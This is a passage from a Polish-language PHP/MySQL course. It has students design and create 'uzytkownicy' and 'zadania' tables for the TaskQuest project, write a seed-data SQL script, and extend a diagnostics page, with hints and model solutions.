<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Błąd</th><th>Skutek</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> w apostrofach</td><td>zapisuje tekst „NULL”, a nie brak wartości</td></tr><tr><td>liczba w apostrofach <code class="prettyprint lang-sql" style="font-size: 0.85em;">'99'</code></td><td>zwykle zadziała (baza przekonwertuje), ale to zła praktyka. Typ kolumny jest po to, żeby było jasne, co to jest</td></tr><tr><td>data <code class="prettyprint lang-sql" style="font-size: 0.85em;">'14.09.2026'</code></td><td>błąd: baza przyjmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code></td><td>emoji w tytule zadania powoduje błąd (Eksperyment 3)</td></tr><tr><td>przecinek po ostatniej kolumnie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code></td><td>błąd składni <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code></td></tr><tr><td>tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> tworzona przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code></td><td>błąd: klucz obcy wskazuje tabelę, której jeszcze nie ma</td></tr><tr><td>cudzysłów typograficzny <code class="prettyprint lang-sql" style="font-size: 0.85em;">’</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">'</code> (kopiowanie z Worda)</td><td>błąd składni</td></tr></tbody></table></figure>



<h1 class="wp-block-heading">4. SAMODZIELNIE — projekt tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code></h1>



<p class="wp-block-paragraph">Na kartce albo w pliku tekstowym zaprojektuj tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>. Masz do dyspozycji:</p>



<ul class="wp-block-list">
<li>klasę <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool $wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $xp</code>,</li>



<li>reguły z <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>: tytuł wymagany, najwyżej 100 znaków; opis najwyżej 300 znaków (może być pusty); termin wymagany, poprawna data; XP to liczba całkowita 1–100,</li>



<li>relację z 3.6: każde zadanie ma właściciela.</li>
</ul>



<p class="wp-block-paragraph">Dla każdej kolumny podaj: <strong>nazwę, typ, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, ewentualnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, i czy jest kluczem</strong>. Kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> na razie <strong>pomiń</strong>. Zajmiemy się nią w 4b.</p>



<p class="wp-block-paragraph">Efekt: tabelka w rodzaju</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">kolumna        | typ           | NULL?    | inne
id             | ...           | ...      | ...
...</code></pre>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Idź po kolei po właściwościach klasy i zadaj sobie przy każdej trzy pytania: jaki typ w PHP → jaki typ w bazie? Czy wartość może nie istnieć? Jaki jest limit długości albo zakres? Nie zapomnij o kolumnie, której <strong>nie ma</strong> w klasie, a jest potrzebna do relacji.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> z limitem → <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(limit)</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> nieujemny → <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT UNSIGNED</code>,</li>



<li>termin → <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>,</li>



<li>klucz główny wygląda jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>,</li>



<li>właściciel: kolumna typu <strong>takiego samego jak</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy.id</code> (klucz obcy musi mieć zgodny typ).</li>
</ul>



<p class="wp-block-paragraph">Opis może być pusty. Czy to znaczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, czy pusty tekst? Pomyśl, co dziś zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzOpis()</code> dla zadania bez opisu i jaki typ ma właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">kolumna        | typ           | NULL?    | inne
id             | INT UNSIGNED  | NOT NULL | PRIMARY KEY, AUTO_INCREMENT
uzytkownik_id  | INT UNSIGNED  | NOT NULL | FOREIGN KEY → uzytkownicy(id), ON DELETE CASCADE
tytul          | VARCHAR(100)  | NOT NULL |
opis           | VARCHAR(300)  | NOT NULL | DEFAULT ''
termin         | DATE          | NOT NULL |
xp             | INT UNSIGNED  | NOT NULL |
</code></pre>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL DEFAULT ''</code></strong>: właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code> jest typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> (nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>), a zadanie bez opisu ma dziś opis <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>. Brak opisu to pusty tekst, nie „nie wiadomo”. Gdyby kolumna dopuszczała <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, w PHP trzeba by obsługiwać dwa różne „puste” przypadki.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code></strong>: zadanie bez właściciela nie istnieje.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code></strong>: nie ma sensownej domyślnej nagrody; formularz zawsze ją podaje. Zakresu 1–100 nie wymusza <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> (to tylko „≥ 0”). Pilnuje go <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>. Wymuszenie zakresu w bazie to zadanie końcowe B.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(300)</code> wystarcza na opis. Dla bardzo długich tekstów (np. treść artykułu) jest typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">TEXT</code>, ale opis TaskQuest jest krótki i ma limit.</li>
</ul>
</details>



<h2 class="wp-block-heading">4b. SAMODZIELNIE — jak zapisać, że zadanie jest wykonane?</h2>



<p class="wp-block-paragraph">Od lekcji o datach streak jest liczony „na niby”. Zadania nie mają daty wykonania, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> znaczy tylko „na liście jest choć jedno wykonane zadanie”. Do prawdziwego streaka będziemy potrzebowali wiedzieć, <strong>kiedy</strong> zadanie wykonano.</p>



<p class="wp-block-paragraph">Masz trzy propozycje:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">A) wykonane TINYINT(1) NOT NULL DEFAULT 0          (0/1, jak w CSV)
B) wykonane TINYINT(1) + data_wykonania DATE NULL  (dwie kolumny)
C) data_wykonania DATE NULL                         (NULL = niewykonane)
</code></pre>



<p class="wp-block-paragraph">Odpowiedz na pytania:</p>



<ol class="wp-block-list">
<li>Która propozycja nie pozwala policzyć prawdziwego streaka?</li>



<li>W propozycji B wpisz wiersz, w którym dane sobie <strong>przeczą</strong>. Ile takich sprzecznych kombinacji istnieje?</li>



<li>Jak w propozycji C sprawdzić, czy zadanie jest wykonane?</li>



<li>Którą wybierasz i dlaczego? Skorzystaj z zasady z 3.5.</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Zasada z 3.5 dotyczyła XP i poziomu. Czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> da się <strong>obliczyć</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<ol class="wp-block-list">
<li><strong>A</strong>: nie wiadomo, kiedy zadanie wykonano.</li>



<li>Na przykład <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane = 0, data_wykonania = '2026-09-14'</code> („niewykonane, wykonane 14 września”) albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane = 1, data_wykonania = NULL</code>. Są <strong>dwie</strong> sprzeczne kombinacje i baza nie wie, która kolumna mówi prawdę.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> nie jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> → wykonane.</li>



<li><strong>C</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> da się obliczyć z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, dokładnie tak jak poziom z XP. Jedna kolumna, zero sprzeczności, a przy okazji mamy datę, której potrzebuje prawdziwy streak.</li>
</ol>



<p class="wp-block-paragraph">Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> <strong>nie zmienia się</strong>: nadal ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool $wykonane</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code>. Przy tworzeniu obiektu z wiersza bazy wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> obliczymy w PHP. Przećwiczysz to w sekcji 6.</p>



<p class="wp-block-paragraph">Kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> wybieramy jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>, bo streak liczy dni, a nie godziny. Ten sam typ mają <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code>.</p>
</details>



<h1 class="wp-block-heading">5. Włączamy bazę do TaskQuest</h1>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz na projekcie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> z sekcji 3.3 zostaw. Przyda się jeszcze w sekcji 6, potem go usuniesz.</p>
</blockquote>



<h2 class="wp-block-heading">Krok 1 — utwórz bazę <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code></h2>



<ol class="wp-block-list">
<li>W phpMyAdmin kliknij zakładkę <strong>Bazy danych</strong>.</li>



<li>Nazwa: <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>.</li>



<li>Metoda porównywania napisów: <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code></strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> to pełne UTF-8, łącznie z emoji. <code class="prettyprint lang-sql" style="font-size: 0.85em;">unicode_ci</code> określa, jak porównywać i sortować teksty: <code class="prettyprint lang-sql" style="font-size: 0.85em;">ci</code> = <em>case insensitive</em>, czyli wielkość liter nie ma znaczenia przy porównywaniu. Test 2 pokaże, co to oznacza dla loginów.</li>



<li><strong>Utwórz</strong>. Baza pojawi się w lewym panelu.</li>
</ol>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>, część 1: tabele</h2>



<p class="wp-block-paragraph">Struktury bazy nie „wyklikujemy”, tylko zapisujemy w pliku. Dzięki temu jest częścią projektu i można ją odtworzyć na każdym komputerze jednym uruchomieniem. W zespołach programistycznych robi się dokładnie tak.</p>



<p class="wp-block-paragraph">W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> utwórz katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/</code>, a w nim plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Plik ma zawierać, w tej kolejności:</p>



<ol class="wp-block-list">
<li>komentarz na górze: co to za plik i jak go uruchomić (komentarz w SQL zaczyna się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">-- </code>, z odstępem po dwóch minusach),</li>



<li>usunięcie starych tabel, jeśli istnieją: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS nazwa;</code>. Dzięki temu skrypt można uruchamiać wiele razy. <strong>Zastanów się nad kolejnością</strong> (która tabela zależy od której?),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy</code> z sekcji 3.4,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania</code> według Twojego projektu z sekcji 4 i decyzji z 4b, z kluczem obcym z 3.6 i tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">CHARSET</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">COLLATE</code> co <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. Kolejność kolumn: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a dalej jak w CSV (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> w miejscu dawnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>).</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Tabeli, na którą wskazuje klucz obcy, nie da się usunąć, dopóki istnieje tabela, która na nią wskazuje. Tworzenie idzie w odwrotnej kolejności niż usuwanie. Klucz obcy dopisujesz jako ostatnią linię wewnątrz nawiasu <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code>, po przecinku.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- TaskQuest 1.7 — struktura bazy danych i dane testowe
-- Uruchom w phpMyAdmin: baza taskquest → zakładka SQL → wklej całość → Wykonaj.
-- Skrypt można uruchamiać wiele razy: najpierw usuwa stare tabele (RAZEM Z DANYMI!).

DROP TABLE IF EXISTS zadania;
DROP TABLE IF EXISTS uzytkownicy;

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE zadania (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzytkownik_id INT UNSIGNED NOT NULL,
    tytul VARCHAR(100) NOT NULL,
    opis VARCHAR(300) NOT NULL DEFAULT '',
    termin DATE NOT NULL,
    data_wykonania DATE NULL,
    xp INT UNSIGNED NOT NULL,
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(255)</code>, bo funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> z Lekcji 19 zwraca tekst, którego długość może rosnąć w nowych wersjach PHP. Dokumentacja PHP zaleca kolumnę na 255 znaków.</p>
</details>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>, część 2: dane testowe</h2>



<p class="wp-block-paragraph">Pod tabelami dopisz dwa polecenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>:</p>



<ol class="wp-block-list">
<li><strong>użytkownicy</strong>: Kama i Ola, dokładnie jak w sekcji 3.7,</li>



<li><strong>zadania</strong>:
<ul class="wp-block-list">
<li><strong>wszystkie zadania z Twojego <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></strong> jako zadania Kamy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 1),</li>



<li><strong>jedno nowe zadanie Oli</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 2), dowolne, niewykonane. Dzięki niemu w bazie będą zadania dwóch różnych właścicieli.</li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph">Zasady przepisywania z CSV:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>W CSV</th><th>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></td><td><strong>pomiń</strong>: numery nada <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code></td><td>przepisz <strong>bez zmian</strong>, także „brudne” spacje w tytułach (czyści je <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code> przy wyświetlaniu)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code></td><td>bez zmian</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-14'</code> (CSV nie zna daty wykonania, bierzemy symulowaną datę ostatniej aktywności Kamy)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code></td><td>bez zmian (liczba bez apostrofów)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Apostrof wewnątrz tekstu (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Rock'n'roll</code>) w SQL piszemy podwójnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Rock''n''roll'</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Dlaczego Kama to na pewno <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 1, a Ola = 2? Skrypt przed chwilą utworzył tabelę od nowa, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> zaczyna od 1, a Kama jest wstawiana jako pierwsza.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, data_wykonania, xp) VALUES
(1, '   Nauczyć   się regexów   PHP   ', 'tu opis z CSV', '2026-09-20', '2026-09-14', 20),
-- ... kolejne zadania z data/zadania.csv (uzytkownik_id = 1) ...
(2, 'Zaprojektować bazę TaskQuest', 'Tabele uzytkownicy i zadania, klucze i relacja 1:N.', '2026-10-05', NULL, 30);</code></pre>
</details>



<p class="wp-block-paragraph">Pierwszy wiersz to zadanie nr 1 z CSV: wykonane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>), więc ma datę wykonania. Ostatni to zadanie Oli.</p>



<h2 class="wp-block-heading">Krok 4 — uruchom skrypt i sprawdź wynik</h2>



<ol class="wp-block-list">
<li><p>phpMyAdmin → kliknij bazę <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code></strong> w lewym panelu (to ważne: skrypt nie wybiera bazy sam) → zakładka <strong>SQL</strong>.</p></li>



<li><p>Wklej <strong>całą</strong> zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> → <strong>Wykonaj</strong>.</p></li>



<li><p>Błąd? Czytaj komunikat od końca: numer błędu i fragment „near '&#8230;&#8217;” wskazują miejsce. Popraw <strong>plik</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> (nie tylko okienko w phpMyAdmin) i uruchom ponownie. Skrypt sam usunie to, co zdążył utworzyć.</p></li>



<li><p>Zakładka SQL:<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM uzytkownicy;<br />SELECT * FROM zadania;<br /></code>Sprawdź: 2 użytkowników, zadania Kamy mają <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> 1, zadanie Oli ma 2, wykonane zadania mają datę, niewykonane <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Liczba zadań Kamy = liczba zadań w CSV.</p></li>



<li><p>Kliknij tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> → zakładka <strong>Struktura</strong>. Obejrzyj typy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> i klucz. Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> phpMyAdmin pokazuje indeks; baza tworzy go sama dla klucza obcego.</p></li>
</ol>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> sprawdza gotowość do pracy z bazą</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> od Lekcji 10 sprawdza, czy projekt ma wszystkie potrzebne pliki. Rozbuduj ją o trzy rzeczy:</p>



<ol class="wp-block-list">
<li>do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (będzie <strong>18</strong> ścieżek),</li>



<li>dodaj nową sekcję <strong>„Baza danych”</strong>:
<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK] Rozszerzenie mysqli jest włączone.</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK] Rozszerzenie mysqli nie jest włączone — włącz extension=mysqli w php.ini.</code>,</li>



<li>liczbę i nazwy plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/</code>,</li>
</ul>
</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień wersję na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.7</code>.</li>
</ol>



<p class="wp-block-paragraph">Zasada z Lekcji 10 obowiązuje dalej: diagnostyka <strong>nie łączy się z bazą</strong> i nie dołącza plików aplikacji. Ma działać nawet przy zepsutym projekcie. Dziś sprawdzamy tylko, czy PHP w ogóle <strong>potrafi</strong> rozmawiać z bazą.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Nie potrzebujesz nowej funkcji. Jedna wbudowana funkcja PHP z sekcji 3.3 daje odpowiedź <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Do listy plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> masz własną funkcję z Lekcji 10, która ma parametr na rozszerzenie pliku. Sekcja „Pliki danych” (pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">.csv</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code>) robi prawie to samo.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisz na końcu listy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    'sql/taskquest.sql',
</code></pre>



<p class="wp-block-paragraph">Pod sekcją „Pliki danych” (tą, która korzysta z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv</code>) dopisz nową sekcję, w tym samym stylu HTML co sekcje powyżej:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Baza danych&lt;/h2&gt;

&lt;?php if (extension_loaded('mysqli')) { ?&gt;
    &lt;p&gt;&#91;OK] Rozszerzenie mysqli jest włączone.&lt;/p&gt;
&lt;?php } else { ?&gt;
    &lt;p&gt;&#91;BRAK] Rozszerzenie mysqli nie jest włączone — włącz extension=mysqli w php.ini.&lt;/p&gt;
&lt;?php } ?&gt;

&lt;?php $plikiSql = listaPlikowWKatalogu('sql', 'sql'); ?&gt;
&lt;p&gt;Skrypty SQL w katalogu sql/: &lt;?= count($plikiSql); ?&gt;&lt;/p&gt;
&lt;ul&gt;
    &lt;?php foreach ($plikiSql as $plik) { ?&gt;
        &lt;li&gt;&lt;?= $plik; ?&gt;&lt;/li&gt;
    &lt;?php } ?&gt;
&lt;/ul&gt;
</code></pre>



<p class="wp-block-paragraph">Jeśli w Twojej <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> zmienne są obliczane na górze pliku, a na dole jest tylko HTML, przenieś linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiSql = ...</code> na górę, obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv</code>. Zachowaj układ, który już masz.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.7&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>



<p class="wp-block-paragraph">Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> → <strong>18 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK] Rozszerzenie mysqli jest włączone.</code>, 1 skrypt SQL: <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>
</details>



<h1 class="wp-block-heading">6. Kolejne zadanie — jak wiersz z bazy stanie się obiektem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></h1>



